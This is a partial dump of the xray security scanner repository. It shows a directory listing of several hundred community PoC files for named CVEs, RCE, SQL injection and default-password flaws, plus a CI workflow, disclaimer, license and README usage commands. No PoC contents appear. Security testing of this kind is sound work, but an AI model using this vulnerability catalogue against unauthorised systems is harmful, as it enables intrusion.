Showing preview only (2,903K chars total). Download the full file or copy to clipboard to get everything.
Repository: chaitin/xray
Branch: master
Commit: aee9f9cecc3d
Files: 460
Total size: 2.7 MB
Directory structure:
gitextract_qmut0ion/
├── .gitattributes
├── .github/
│ ├── PULL_REQUEST_TEMPLATE.md
│ └── workflows/
│ └── check_poc.yml
├── .gitignore
├── Disclaimer.md
├── LICENSE.md
├── README.md
├── README_EN.md
├── docs/
│ ├── .nojekyll
│ └── index.html
├── fingerprints/
│ └── tcp-openbsd-openssh.yml
├── pocs/
│ ├── 74cms-sqli-1.yml
│ ├── 74cms-sqli-2.yml
│ ├── 74cms-sqli.yml
│ ├── activemq-cve-2016-3088.yml
│ ├── activemq-default-password.yml
│ ├── airflow-unauth.yml
│ ├── alibaba-canal-default-password.yml
│ ├── alibaba-canal-info-leak.yml
│ ├── alibaba-nacos-v1-auth-bypass.yml
│ ├── amtt-hiboss-server-ping-rce.yml
│ ├── apache-ambari-default-password.yml
│ ├── apache-druid-cve-2021-36749.yml
│ ├── apache-flink-upload-rce.yml
│ ├── apache-httpd-cve-2021-40438-ssrf.yml
│ ├── apache-httpd-cve-2021-41773-path-traversal.yml
│ ├── apache-httpd-cve-2021-41773-rce.yml
│ ├── apache-kylin-unauth-cve-2020-13937.yml
│ ├── apache-nifi-api-unauthorized-access.yml
│ ├── apache-ofbiz-cve-2018-8033-xxe.yml
│ ├── apache-ofbiz-cve-2020-9496-xml-deserialization.yml
│ ├── apache-storm-unauthorized-access.yml
│ ├── aspcms-backend-leak.yml
│ ├── bash-cve-2014-6271.yml
│ ├── bt742-pma-unauthorized-access.yml
│ ├── cacti-weathermap-file-write.yml
│ ├── chinaunicom-modem-default-password.yml
│ ├── cisco-cve-2020-3452-readfile.yml
│ ├── citrix-cve-2019-19781-path-traversal.yml
│ ├── citrix-cve-2020-8191-xss.yml
│ ├── citrix-cve-2020-8193-unauthorized.yml
│ ├── citrix-xenmobile-cve-2020-8209.yml
│ ├── coldfusion-cve-2010-2861-lfi.yml
│ ├── confluence-cve-2015-8399.yml
│ ├── confluence-cve-2019-3396-lfi.yml
│ ├── confluence-cve-2021-26084.yml
│ ├── confluence-cve-2021-26085-arbitrary-file-read.yml
│ ├── consul-rexec-rce.yml
│ ├── consul-service-rce.yml
│ ├── coremail-cnvd-2019-16798.yml
│ ├── couchcms-cve-2018-7662.yml
│ ├── couchdb-cve-2017-12635.yml
│ ├── couchdb-unauth.yml
│ ├── craftcms-seomatic-cve-2020-9757-rce.yml
│ ├── dahua-cve-2021-33044-authentication-bypass.yml
│ ├── datang-ac-default-password-cnvd-2021-04128.yml
│ ├── dedecms-carbuyaction-fileinclude.yml
│ ├── dedecms-cve-2018-6910.yml
│ ├── dedecms-cve-2018-7700-rce.yml
│ ├── dedecms-guestbook-sqli.yml
│ ├── dedecms-membergroup-sqli.yml
│ ├── dedecms-url-redirection.yml
│ ├── discuz-ml3x-cnvd-2019-22239.yml
│ ├── discuz-v72-sqli.yml
│ ├── discuz-wechat-plugins-unauth.yml
│ ├── discuz-wooyun-2010-080723.yml
│ ├── dlink-850l-info-leak.yml
│ ├── dlink-cve-2019-16920-rce.yml
│ ├── dlink-cve-2019-17506.yml
│ ├── dlink-cve-2020-25078-account-disclosure.yml
│ ├── dlink-cve-2020-9376-dump-credentials.yml
│ ├── dlink-dsl-2888a-rce.yml
│ ├── docker-api-unauthorized-rce.yml
│ ├── docker-registry-api-unauth.yml
│ ├── dotnetcms-sqli.yml
│ ├── draytek-cve-2020-8515.yml
│ ├── druid-monitor-unauth.yml
│ ├── drupal-cve-2014-3704-sqli.yml
│ ├── drupal-cve-2018-7600-rce.yml
│ ├── drupal-cve-2019-6340.yml
│ ├── dubbo-admin-default-password.yml
│ ├── duomicms-sqli.yml
│ ├── dvr-cve-2018-9995.yml
│ ├── e-zkeco-cnvd-2020-57264-read-file.yml
│ ├── ecology-arbitrary-file-upload.yml
│ ├── ecology-filedownload-directory-traversal.yml
│ ├── ecology-javabeanshell-rce.yml
│ ├── ecology-springframework-directory-traversal.yml
│ ├── ecology-syncuserinfo-sqli.yml
│ ├── ecology-v8-sqli.yml
│ ├── ecology-validate-sqli.yml
│ ├── ecology-workflowcentertreedata-sqli.yml
│ ├── ecshop-cnvd-2020-58823-sqli.yml
│ ├── ecshop-collection-list-sqli.yml
│ ├── ecshop-rce.yml
│ ├── eea-info-leak-cnvd-2021-10543.yml
│ ├── elasticsearch-cve-2014-3120.yml
│ ├── elasticsearch-cve-2015-1427.yml
│ ├── elasticsearch-cve-2015-3337-lfi.yml
│ ├── elasticsearch-cve-2015-5531.yml
│ ├── elasticsearch-unauth.yml
│ ├── etcd-unauth.yml
│ ├── etouch-v2-sqli.yml
│ ├── exchange-cve-2021-26855-ssrf.yml
│ ├── exchange-cve-2021-41349-xss.yml
│ ├── f5-cve-2021-22986.yml
│ ├── f5-tmui-cve-2020-5902-rce.yml
│ ├── fangweicms-sqli.yml
│ ├── feifeicms-lfr.yml
│ ├── finecms-sqli.yml
│ ├── finereport-directory-traversal.yml
│ ├── flexpaper-cve-2018-11686.yml
│ ├── flink-jobmanager-cve-2020-17519-lfi.yml
│ ├── fortigate-cve-2018-13379-readfile.yml
│ ├── frp-dashboard-unauth.yml
│ ├── gateone-cve-2020-35736.yml
│ ├── gilacms-cve-2020-5515.yml
│ ├── gitlab-graphql-info-leak-cve-2020-26413.yml
│ ├── gitlab-ssrf-cve-2021-22214.yml
│ ├── gitlist-rce-cve-2018-1000533.yml
│ ├── glassfish-cve-2017-1000028-lfi.yml
│ ├── go-pprof-leak.yml
│ ├── gocd-cve-2021-43287.yml
│ ├── grafana-default-password.yml
│ ├── h2-database-web-console-unauthorized-access.yml
│ ├── h3c-imc-rce.yml
│ ├── h3c-secparh-any-user-login.yml
│ ├── h5s-video-platform-cnvd-2020-67113-unauth.yml
│ ├── hadoop-yarn-unauth.yml
│ ├── hanming-video-conferencing-file-read.yml
│ ├── harbor-cve-2019-16097.yml
│ ├── hikvision-cve-2017-7921.yml
│ ├── hikvision-info-leak.yml
│ ├── hikvision-intercom-service-default-password.yml
│ ├── hikvision-unauthenticated-rce-cve-2021-36260.yml
│ ├── hjtcloud-arbitrary-fileread.yml
│ ├── hjtcloud-directory-file-leak.yml
│ ├── huawei-home-gateway-hg659-fileread.yml
│ ├── ifw8-router-cve-2019-16313.yml
│ ├── iis-put-getshell.yml
│ ├── influxdb-unauth.yml
│ ├── inspur-tscev4-cve-2020-21224-rce.yml
│ ├── jboss-cve-2010-1871.yml
│ ├── jboss-unauth.yml
│ ├── jeewms-showordownbyurl-fileread.yml
│ ├── jellyfin-cve-2021-29490.yml
│ ├── jellyfin-file-read-cve-2021-21402.yml
│ ├── jenkins-cve-2018-1000600.yml
│ ├── jenkins-cve-2018-1000861-rce.yml
│ ├── jenkins-unauthorized-access.yml
│ ├── jetty-cve-2021-28164.yml
│ ├── jinher-oa-c6-default-password.yml
│ ├── jira-cve-2019-11581.yml
│ ├── jira-cve-2019-8442.yml
│ ├── jira-cve-2019-8449.yml
│ ├── jira-cve-2020-14179.yml
│ ├── jira-cve-2020-14181.yml
│ ├── jira-ssrf-cve-2019-8451.yml
│ ├── joomla-cnvd-2019-34135-rce.yml
│ ├── joomla-component-vreview-sql.yml
│ ├── joomla-cve-2015-7297-sqli.yml
│ ├── joomla-cve-2017-8917-sqli.yml
│ ├── joomla-cve-2018-7314-sql.yml
│ ├── joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml
│ ├── jumpserver-unauth-rce.yml
│ ├── jupyter-notebook-unauthorized-access.yml
│ ├── kafka-manager-unauth.yml
│ ├── kibana-cve-2018-17246.yml
│ ├── kibana-unauth.yml
│ ├── kingdee-eas-directory-traversal.yml
│ ├── kingsoft-v8-default-password.yml
│ ├── kingsoft-v8-file-read.yml
│ ├── kong-cve-2020-11710-unauth.yml
│ ├── kubernetes-unauth.yml
│ ├── kyan-network-monitoring-account-password-leakage.yml
│ ├── landray-oa-custom-jsp-fileread.yml
│ ├── lanproxy-cve-2021-3019-lfi.yml
│ ├── laravel-cve-2021-3129.yml
│ ├── laravel-debug-info-leak.yml
│ ├── laravel-improper-webdir.yml
│ ├── maccms-rce.yml
│ ├── maccmsv10-backdoor.yml
│ ├── metinfo-cve-2019-16996-sqli.yml
│ ├── metinfo-cve-2019-16997-sqli.yml
│ ├── metinfo-cve-2019-17418-sqli.yml
│ ├── metinfo-file-read.yml
│ ├── metinfo-lfi-cnvd-2018-13393.yml
│ ├── minio-default-password.yml
│ ├── mongo-express-cve-2019-10758.yml
│ ├── mpsec-isg1000-file-read.yml
│ ├── msvod-sqli.yml
│ ├── myucms-lfr.yml
│ ├── nagio-cve-2018-10735.yml
│ ├── nagio-cve-2018-10736.yml
│ ├── nagio-cve-2018-10737.yml
│ ├── nagio-cve-2018-10738.yml
│ ├── natshell-arbitrary-file-read.yml
│ ├── netentsec-icg-default-password.yml
│ ├── netentsec-ngfw-rce.yml
│ ├── netgear-cve-2017-5521.yml
│ ├── nextjs-cve-2017-16877.yml
│ ├── nexus-cve-2019-7238.yml
│ ├── nexus-cve-2020-10199.yml
│ ├── nexus-cve-2020-10204.yml
│ ├── nexus-default-password.yml
│ ├── nexusdb-cve-2020-24571-path-traversal.yml
│ ├── nhttpd-cve-2019-16278.yml
│ ├── node-red-dashboard-file-read-cve-2021-3223.yml
│ ├── novnc-url-redirection-cve-2021-3654.yml
│ ├── nps-default-password.yml
│ ├── ns-asg-file-read.yml
│ ├── nsfocus-uts-password-leak.yml
│ ├── nuuo-file-inclusion.yml
│ ├── odoo-file-read.yml
│ ├── openfire-cve-2019-18394-ssrf.yml
│ ├── opentsdb-cve-2020-35476-rce.yml
│ ├── panabit-gateway-default-password.yml
│ ├── panabit-ixcache-default-password.yml
│ ├── pandorafms-cve-2019-20224-rce.yml
│ ├── pbootcms-database-file-download.yml
│ ├── pentaho-cve-2021-31602-authentication-bypass.yml
│ ├── php-cgi-cve-2012-1823.yml
│ ├── phpcms-cve-2018-19127.yml
│ ├── phpmyadmin-cve-2018-12613-file-inclusion.yml
│ ├── phpmyadmin-setup-deserialization.yml
│ ├── phpok-sqli.yml
│ ├── phpshe-sqli.yml
│ ├── phpstudy-backdoor-rce.yml
│ ├── phpstudy-nginx-wrong-resolve.yml
│ ├── phpunit-cve-2017-9841-rce.yml
│ ├── powercreator-arbitrary-file-upload.yml
│ ├── prometheus-url-redirection-cve-2021-29622.yml
│ ├── pulse-cve-2019-11510.yml
│ ├── pyspider-unauthorized-access.yml
│ ├── qibocms-sqli.yml
│ ├── qilin-bastion-host-rce.yml
│ ├── qizhi-fortressaircraft-unauthorized.yml
│ ├── qnap-cve-2019-7192.yml
│ ├── rabbitmq-default-password.yml
│ ├── rails-cve-2018-3760-rce.yml
│ ├── razor-cve-2018-8770.yml
│ ├── rconfig-cve-2019-16663.yml
│ ├── resin-cnnvd-200705-315.yml
│ ├── resin-inputfile-fileread-or-ssrf.yml
│ ├── resin-viewfile-fileread.yml
│ ├── rockmongo-default-password.yml
│ ├── ruijie-eg-cli-rce.yml
│ ├── ruijie-eg-file-read.yml
│ ├── ruijie-eg-info-leak.yml
│ ├── ruijie-eweb-rce-cnvd-2021-09650.yml
│ ├── ruijie-nbr1300g-cli-password-leak.yml
│ ├── ruijie-uac-cnvd-2021-14536.yml
│ ├── ruoyi-management-fileread.yml
│ ├── saltstack-cve-2020-16846.yml
│ ├── saltstack-cve-2021-25282-file-write.yml
│ ├── samsung-wea453e-default-pwd.yml
│ ├── samsung-wea453e-rce.yml
│ ├── samsung-wlan-ap-wea453e-rce.yml
│ ├── sangfor-ba-rce.yml
│ ├── sangfor-edr-arbitrary-admin-login.yml
│ ├── sangfor-edr-cssp-rce.yml
│ ├── sangfor-edr-tool-rce.yml
│ ├── satellian-cve-2020-7980-rce.yml
│ ├── seacms-before-v992-rce.yml
│ ├── seacms-rce.yml
│ ├── seacms-sqli.yml
│ ├── seacms-v654-rce.yml
│ ├── seacmsv645-command-exec.yml
│ ├── secnet-ac-default-password.yml
│ ├── seeyon-a6-employee-info-leak.yml
│ ├── seeyon-ajax-unauthorized-access.yml
│ ├── seeyon-cnvd-2020-62422-readfile.yml
│ ├── seeyon-oa-cookie-leak.yml
│ ├── seeyon-session-leak.yml
│ ├── seeyon-wooyun-2015-0108235-sqli.yml
│ ├── seeyon-wooyun-2015-148227.yml
│ ├── shiziyu-cms-apicontroller-sqli.yml
│ ├── shopxo-cnvd-2021-15822.yml
│ ├── showdoc-default-password.yml
│ ├── showdoc-uploadfile.yml
│ ├── skywalking-cve-2020-9483-sqli.yml
│ ├── solarwinds-cve-2020-10148.yml
│ ├── solr-cve-2017-12629-xxe.yml
│ ├── solr-cve-2019-0193.yml
│ ├── solr-fileread.yml
│ ├── solr-velocity-template-rce.yml
│ ├── sonarqube-cve-2020-27986-unauth.yml
│ ├── sonicwall-ssl-vpn-rce.yml
│ ├── spark-api-unauth.yml
│ ├── spark-webui-unauth.yml
│ ├── spon-ip-intercom-file-read.yml
│ ├── spon-ip-intercom-ping-rce.yml
│ ├── spring-cloud-cve-2020-5405.yml
│ ├── spring-cloud-cve-2020-5410.yml
│ ├── spring-cve-2016-4977.yml
│ ├── springboot-env-unauth.yml
│ ├── springcloud-cve-2019-3799.yml
│ ├── supervisord-cve-2017-11610.yml
│ ├── tamronos-iptv-rce.yml
│ ├── telecom-gateway-default-password.yml
│ ├── tensorboard-unauth.yml
│ ├── terramaster-cve-2020-15568.yml
│ ├── terramaster-tos-rce-cve-2020-28188.yml
│ ├── thinkadmin-v6-readfile.yml
│ ├── thinkcmf-lfi.yml
│ ├── thinkcmf-write-shell.yml
│ ├── thinkphp-v6-file-write.yml
│ ├── thinkphp5-controller-rce.yml
│ ├── thinkphp5023-method-rce.yml
│ ├── tianqing-info-leak.yml
│ ├── tomcat-cve-2017-12615-rce.yml
│ ├── tomcat-cve-2018-11759.yml
│ ├── tongda-meeting-unauthorized-access.yml
│ ├── tongda-user-session-disclosure.yml
│ ├── tpshop-directory-traversal.yml
│ ├── tpshop-sqli.yml
│ ├── tvt-nvms-1000-file-read-cve-2019-20085.yml
│ ├── typecho-rce.yml
│ ├── ueditor-cnvd-2017-20077-file-upload.yml
│ ├── uwsgi-cve-2018-7490.yml
│ ├── vbulletin-cve-2019-16759-bypass.yml
│ ├── vbulletin-cve-2019-16759.yml
│ ├── vmware-vcenter-arbitrary-file-read.yml
│ ├── vmware-vcenter-cve-2021-21985-rce.yml
│ ├── vmware-vcenter-unauthorized-rce-cve-2021-21972.yml
│ ├── vmware-vrealize-cve-2021-21975-ssrf.yml
│ ├── weaver-ebridge-file-read.yml
│ ├── weblogic-cve-2017-10271.yml
│ ├── weblogic-cve-2019-2725.yml
│ ├── weblogic-cve-2019-2729-1.yml
│ ├── weblogic-cve-2019-2729-2.yml
│ ├── weblogic-cve-2020-14750.yml
│ ├── weblogic-ssrf.yml
│ ├── webmin-cve-2019-15107-rce.yml
│ ├── weiphp-path-traversal.yml
│ ├── weiphp-sql.yml
│ ├── wifisky-default-password-cnvd-2021-39012.yml
│ ├── wordpress-cve-2019-19985-infoleak.yml
│ ├── wordpress-ext-adaptive-images-lfi.yml
│ ├── wordpress-ext-mailpress-rce.yml
│ ├── wuzhicms-v410-sqli.yml
│ ├── xdcms-sql.yml
│ ├── xiuno-bbs-cvnd-2019-01348-reinstallation.yml
│ ├── xunchi-cnvd-2020-23735-file-read.yml
│ ├── yapi-rce.yml
│ ├── yccms-rce.yml
│ ├── yongyou-u8-oa-sqli.yml
│ ├── yonyou-grp-u8-sqli-to-rce.yml
│ ├── yonyou-grp-u8-sqli.yml
│ ├── yonyou-nc-arbitrary-file-upload.yml
│ ├── yonyou-nc-bsh-servlet-bshservlet-rce.yml
│ ├── youphptube-encoder-cve-2019-5127.yml
│ ├── youphptube-encoder-cve-2019-5128.yml
│ ├── youphptube-encoder-cve-2019-5129.yml
│ ├── yungoucms-sqli.yml
│ ├── zabbix-authentication-bypass.yml
│ ├── zabbix-cve-2016-10134-sqli.yml
│ ├── zabbix-default-password.yml
│ ├── zcms-v3-sqli.yml
│ ├── zeit-nodejs-cve-2020-5284-directory-traversal.yml
│ ├── zeroshell-cve-2019-12725-rce.yml
│ ├── zimbra-cve-2019-9670-xxe.yml
│ └── zzcms-zsmanage-sqli.yml
├── report/
│ ├── .browserslistrc
│ ├── .editorconfig
│ ├── .eslintrc.js
│ ├── .gitignore
│ ├── README.md
│ ├── babel.config.js
│ ├── package.json
│ ├── public/
│ │ └── index.html
│ ├── src/
│ │ ├── App.vue
│ │ ├── assets/
│ │ │ └── .gitkeep
│ │ ├── components/
│ │ │ ├── ServiceVulnerability.vue
│ │ │ ├── Subdomain.vue
│ │ │ └── WebVulnerability.vue
│ │ ├── icons.js
│ │ ├── main.js
│ │ └── views/
│ │ └── Home.vue
│ ├── vue.config.js
│ └── webstorm.config.js
├── tests/
│ ├── .gitkeep
│ ├── README.md
│ ├── evilpot/
│ │ ├── README.md
│ │ ├── build.ps1
│ │ ├── build.sh
│ │ ├── evil/
│ │ │ ├── echo.go
│ │ │ ├── evil.go
│ │ │ └── util.go
│ │ ├── go.mod
│ │ ├── go.sum
│ │ └── main.go
│ └── vulstudy/
│ ├── BodgeIt/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── DSVW/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── DVWA/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── docker-compose.yml
│ │ ├── php.ini
│ │ └── run.sh
│ ├── Hackademic/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── MCIR/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── README.md
│ ├── WackoPicko/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── WebGoat/
│ │ ├── README.md
│ │ ├── docker-compose.yml
│ │ ├── webgoat-server/
│ │ │ ├── Dockerfile
│ │ │ └── start.sh
│ │ └── webwolf/
│ │ ├── Dockerfile
│ │ └── start.sh
│ ├── XSSed/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── docker-compose.yml
│ │ └── docker-php.conf
│ ├── bWAPP/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── doc/
│ │ └── README.md
│ ├── docker-compose.yml
│ ├── mutillidae/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── sqli-labs/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── vulnerable-node/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── docker-compose.yml
│ │ └── postgresql/
│ │ ├── Dockerfile
│ │ └── init.sql
│ └── www/
│ ├── Dockerfile
│ ├── README.md
│ ├── index.css
│ └── index.html
└── webhook/
├── README.md
├── app.py
├── config.py
├── config.yml
├── executor/
│ ├── __init__.py
│ ├── executor.py
│ └── registry.py
├── model/
│ ├── __init__.py
│ ├── config.py
│ ├── plugin.py
│ └── vuln.py
├── plugins/
│ ├── __init__.py
│ ├── base.py
│ └── demo.py
├── requirements.txt
└── views/
├── __init__.py
└── views.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitattributes
================================================
*.py linguist-language=Go
================================================
FILE: .github/PULL_REQUEST_TEMPLATE.md
================================================
**请先认真阅读下列要求，如不符合会被直接关闭 PR**
- 确保当前 POC 与已有的 POC 没有重复，除了仓库 `pocs` 目录中的，还有内置的几个用 Go 写的 POC也不要重复：
```
poc-go-php-cve-2019-11043-rce
poc-go-seeyon-htmlofficeservlet-rce
poc-go-tongda-lfi-upload-rce
poc-go-tongda-arbitrary-auth
poc-go-ecology-dbconfig-info-leak
poc-go-tomcat-put
poc-go-tomcat-cve-2020-1938
```
- 阅读规范和要求
- https://docs.xray.cool/#/guide/contribute
- https://docs.xray.cool/#/guide/high_quality_poc
- 一个 pull request 只提交一个 poc
- 对于 0day / 1 day 等未大面积公开细节的漏洞请勿提交，可以私聊群管理员
- 不接受没有测试环境的 poc，测试环境可以使用 [vulhub](https://github.com/vulhub/vulhub/) 或 [vulnapps](https://github.com/Medicean/VulApps)，也可以提供 fofa/zoomeye/shodan 等搜索关键字。 请勿直接填写公网上未修复的站点的地址，如果有特殊情况，请私聊群内管理解决。
- 如果你的 poc 被合并或者没有合并但是评论说需要发送奖励，请查看 https://docs.xray.cool/#/guide/feedback 并添加最下面的微信，说明你的 poc 地址，方便发送奖励。
**我是分割线，在提交 poc 填写说明的时候，请务必阅读上方要求，然后删除本分割线和上方的内容，只保留下面自定义的部分即可，否则不予通过。**
----------
## 本 poc 是检测什么漏洞的
## 测试环境
## 备注
================================================
FILE: .github/workflows/check_poc.yml
================================================
name: Check POC
on: [push, pull_request]
jobs:
check_poc:
runs-on: ubuntu-18.04
steps:
- uses: actions/setup-python@v1
with:
python-version: 3.7
- uses: actions/checkout@v2
with:
fetch-depth: 1
- name: Prepare
run: |
cd $GITHUB_WORKSPACE && \
wget -nv https://github.com/chaitin/xray/releases/download/1.8.2/xray_linux_amd64.zip && \
pip3 install yamllint && \
unzip xray_linux_amd64.zip && \
echo 'update:
check: false' > config.yaml
- name: Check POC
run: |
cd $GITHUB_WORKSPACE && \
./xray_linux_amd64 poclint --script "./pocs/*" --filepath "./pocs/" --rules filename,filepath,yamlschema,yamllint,cellint && \
./xray_linux_amd64 poclint --script "./fingerprints/*" --filepath "./fingerprints/" --rules filename,filepath,yamlschema,yamllint,cellint
================================================
FILE: .gitignore
================================================
# Created by .ignore support plugin (hsz.mobi)
### Python template
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
pip-wheel-metadata/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
.pytest_cache/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
.python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# celery beat schedule file
celerybeat-schedule
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
.idea
.DS_Store
================================================
FILE: Disclaimer.md
================================================
## 免责声明
本工具仅面向**合法授权**的企业安全建设行为，如您需要测试本工具的可用性，请自行搭建靶机环境。
在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**
如果您获得了本软件社区高级版等版本的 License，该 License 下的权益仅限您个人使用，**禁止以任何形式复制、分发、传播该 License。**
禁止对本软件实施逆向工程、反编译、试图破译源代码等行为。
**如果发现上述禁止行为，我们将保留追究您法律责任的权利。**
如您在使用本工具的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。
在安装并使用本工具前，请您**务必审慎阅读、充分理解各条款内容**，限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
除非您已充分阅读、完全理解并接受本协议所有条款，否则，请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的，即视为您已阅读并同意本协议的约束。
## Disclaimer
This tool is only for **legally authorized** enterprise security construction behavior, if you need to test the usability of this tool, please build your own target environment.
When using this tool for testing, you should ensure that the behavior complies with local laws and regulations and that sufficient authorization has been obtained. **Do not scan unauthorized targets.**
If you have obtained the License of the software Community Premium Edition and other versions, the rights and interests under the License are for your personal use only. **Reproduction, distribution and dissemination of the License in any form are prohibited.**
It is forbidden to reverse engineer, decompile, and attempt to decipher the source code of the software.
**We reserve the right to hold you legally liable if we find the above prohibited behavior.**
If you have any illegal behavior in the process of using this tool, you need to bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
Before installing and using the tool, please **be sure to carefully read and fully understand the content of the terms**. Limitations, disclaimers or other terms involving your significant rights and interests may be in bold, underlined and other forms to remind you to pay attention.
Please do not install and use this tool unless you have fully read, fully understand and accept all the terms of this Agreement. Your use of this Agreement or your acceptance of this Agreement by any other express or implied means shall be deemed that you have read and agreed to be bound by this Agreement.
================================================
FILE: LICENSE.md
================================================
在符合以下条件的情况下，我们欢迎任何人以任何形式使用本项目（包括商用）。
- 注明集成了本项目（注明方式： 在项目介绍页附上本项目 repo 地址）
- 同意 https://github.com/chaitin/xray/blob/master/Disclaimer.md 免责声明
Anyone is welcome to use this program in any form provided the following conditions are met (Including commercial).
- Indicate the integration of the project (indicate: attach the repo address of the project on the project introduction page)
- Agree to https://github.com/chaitin/xray/blob/master/Disclaimer.md disclaimer
================================================
FILE: README.md
================================================
<h1 align="center">Welcome to xray 👋</h1>
<p align="center">
<img src="https://img.shields.io/github/release/chaitin/xray.svg" />
<img src="https://img.shields.io/github/release-date/chaitin/xray.svg?color=blue&label=update" />
<img src="https://img.shields.io/badge/go report-A+-brightgreen.svg" />
<a href="https://docs.xray.cool/">
<img alt="Documentation" src="https://img.shields.io/badge/documentation-yes-brightgreen.svg" target="_blank" />
</a>
</p>
<h3 align="center">一款功能强大的安全评估工具 </h3>
<p align="center">
<a href="https://docs.xray.cool">🏠使用文档</a> •
<a href="https://github.com/chaitin/xray/releases">⬇️xray下载</a> •
<a href="https://github.com/chaitin/xpoc">⬇️xpoc下载</a> •
<a href="https://github.com/chaitin/xapp">⬇️xapp下载</a> •
<a href="https://github.com/chaitin/xray-plugins">📖插件存储库</a>
</p>
[**English Version**](./README_EN.md)
> 注意：xray系列不开源，直接下载构建的二进制文件即可，仓库内主要为社区贡献的 poc，每次 xray 发布将自动打包。
## ✨ xray2.0
为了解决 xray 1.0在功能增加过程中变得复杂且臃肿的问题，我们推出了 xray 2.0。
这一全新版本致力于提升功能使用的流畅度，降低使用门槛，并帮助更多安全行业从业者以更高效的模式收获更好的体验。xray 2.0 将整合一系列新的安全工具，形成一个全面的安全工具集。
**xray2.0系列的第二款工具xapp已经上线，欢迎体验！**
### XPOC
xpoc是xray2.0系列的第一款工具，它是一款为供应链漏洞扫描设计的快速应急响应工具
项目地址：https://github.com/chaitin/xpoc
### XAPP
xapp是一款专注于web指纹识别的工具。你可以使用xapp对web目标所使用的技术进行识别，为安全测试做好准备。
项目地址：https://github.com/chaitin/xapp
### 插件存储库
我们为各类插件创建了一个专门的存储库，旨在方便大家共享和使用各种插件。
这里主要收录的是开源的、转化成 xray格式的脚本，以供大家使用。
我们会不定期地往这里推送一些新的插件，同时也希望大家能积极踊跃的优化或者提交插件，共同丰富这个仓库。
项目地址：https://github.com/chaitin/xray-plugins
## 🚀 快速使用
**在使用之前，请务必阅读并同意 [License](https://github.com/chaitin/xray/blob/master/LICENSE.md) 文件中的条款，否则请勿安装使用本工具。**
1. 使用基础爬虫爬取并对爬虫爬取的链接进行漏洞扫描
```bash
xray webscan --basic-crawler http://example.com --html-output vuln.html
```
2. 使用 HTTP 代理进行被动扫描
```bash
xray webscan --listen 127.0.0.1:7777 --html-output proxy.html
```
设置浏览器 http 代理为 `http://127.0.0.1:7777`，就可以自动分析代理流量并扫描。
>如需扫描 https 流量，请阅读下方文档 `抓取 https 流量` 部分
3. 只扫描单个 url，不使用爬虫
```bash
xray webscan --url http://example.com/?a=b --html-output single-url.html
```
4. 手动指定本次运行的插件
默认情况下，将会启用所有内置插件，可以使用下列命令指定本次扫描启用的插件。
```bash
xray webscan --plugins cmd-injection,sqldet --url http://example.com
xray webscan --plugins cmd-injection,sqldet --listen 127.0.0.1:7777
```
5. 指定插件输出
可以指定将本次扫描的漏洞信息输出到某个文件中:
```bash
xray webscan --url http://example.com/?a=b \
--text-output result.txt --json-output result.json --html-output report.html
```
[报告样例](https://docs.xray.cool/assets/report_example.html)
其他用法请阅读文档： https://docs.xray.cool
## 🪟 检测模块
新的检测模块将不断添加
| 名称 | Key | 版本 | 说明 |
|----------------|------------------|-----|---------------------------------------------------------------------------------|
| XSS漏洞检测 | `xss` | 社区版 | 利用语义分析的方式检测XSS漏洞 |
| SQL 注入检测 | `sqldet` | 社区版 | 支持报错注入、布尔注入和时间盲注等 |
| 命令/代码注入检测 | `cmd-injection` | 社区版 | 支持 shell 命令注入、PHP 代码执行、模板注入等 |
| 目录枚举 | `dirscan` | 社区版 | 检测备份文件、临时文件、debug 页面、配置文件等10余类敏感路径和文件 |
| 路径穿越检测 | `path-traversal` | 社区版 | 支持常见平台和编码 |
| XML 实体注入检测 | `xxe` | 社区版 | 支持有回显和反连平台检测 |
| poc 管理 | `phantasm` | 社区版 | 默认内置部分常用的 poc，用户可以根据需要自行构建 poc 并运行。文档：[POC](https://docs.xray.cool/#/guide/poc) |
